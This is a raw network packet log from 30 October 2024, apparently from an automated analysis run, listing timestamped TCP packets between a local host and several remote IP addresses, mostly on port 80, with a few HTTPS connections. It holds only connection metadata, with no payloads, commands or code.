Oct 30, 2024 11:45:44.639184952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639188051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639203072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639203072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639220953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639224052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639230967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639239073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639255047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639260054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639271975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639287949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639293909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639303923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639322042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639334917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639342070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639360905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639383078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639400005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639416933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639432907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639432907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639434099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639450073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639458895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639460087 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639475107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639491081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639498949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639506102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639522076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639530897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639539957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639548063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639558077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639564991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639580011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639594078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639595032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639610052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639615059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639627934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639636993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639647007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639651060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639663935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.639663935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639679909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.639693022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.643886089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.643903017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.643918037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.643943071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.643958092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.643959999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.643973112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.643976927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.643994093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644000053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644020081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644027948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644038916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644054890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644078970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644081116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644088984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644097090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644113064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644113064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644125938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644130945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644146919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644149065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644165039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644172907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644185066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644222021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644228935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644249916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644267082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644267082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644284010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644288063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644301891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644325972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644340992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644380093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644424915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644443035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644462109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644465923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644480944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644493103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644531012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644541979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644556999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644596100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644690037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644706011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644730091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644742012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644746065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644762993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.644778013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.644805908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.645155907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645172119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645190001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645205021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645225048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.645240068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645243883 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.645256042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645273924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645277023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.645291090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.645303965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.645318031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.645330906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.671327114 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.672194958 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:44.679594040 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.679733038 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.679795980 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.679994106 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.680011034 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.680022001 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.680027008 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.683046103 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.683073044 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.683736086 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.683877945 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.683893919 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.718393087 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.718487024 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.718544006 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.719904900 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.719913006 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.726694107 CET	49992	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.726711988 CET	443	49992	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.726947069 CET	49992	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.727085114 CET	49992	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:44.727089882 CET	443	49992	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:44.753202915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753235102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753252983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753279924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753302097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753304958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753323078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753340006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753365993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753379107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753381014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753396034 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753401041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753423929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753442049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753454924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753479004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753494024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753496885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753518105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753519058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753537893 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753561020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753578901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753649950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753676891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753700972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753716946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753725052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753736973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753745079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753751993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753762007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753778934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753798962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753813982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753823996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753837109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753839016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753859043 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753865004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753876925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753882885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753896952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753901958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753921032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753921986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753937960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753937960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753957033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753973961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753974915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.753989935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.753999949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754018068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754024029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754036903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754054070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754055977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754076004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754081011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754098892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754113913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754125118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754132986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754139900 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754151106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754167080 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754168034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754185915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754199028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754213095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754225969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754239082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754244089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754298925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754316092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754342079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754343033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754353046 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754362106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754381895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754401922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754405022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754421949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754437923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754453897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754462004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754483938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754492044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754506111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754509926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754522085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754538059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754539013 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754545927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754555941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754568100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754584074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754597902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754635096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754673004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754692078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754707098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754731894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754748106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754765034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754771948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754784107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754787922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754798889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754802942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754821062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754822016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754834890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754853964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754869938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754884958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.754908085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.754945993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759176970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759247065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759279013 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759294987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759331942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759341955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759356976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759372950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759388924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759402990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759406090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759423971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759427071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759444952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759449005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759460926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759475946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759490967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759497881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759510040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759536982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759550095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759588003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759594917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759603977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759622097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759629011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759664059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759673119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759690046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759704113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759748936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759793043 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759807110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759821892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759845972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759856939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759902954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759917974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759942055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759958029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.759958982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759979010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759996891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.759999037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760015011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760030985 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760031939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760049105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760056019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760073900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760077000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760092020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760103941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760108948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760117054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760127068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760135889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760145903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760148048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760163069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760165930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760184050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760188103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760195971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760205984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760216951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760221958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760240078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760262012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760283947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.760329962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760345936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760360956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760374069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.760406971 CET	49888	80	192.168.2.6	185.215.113.206
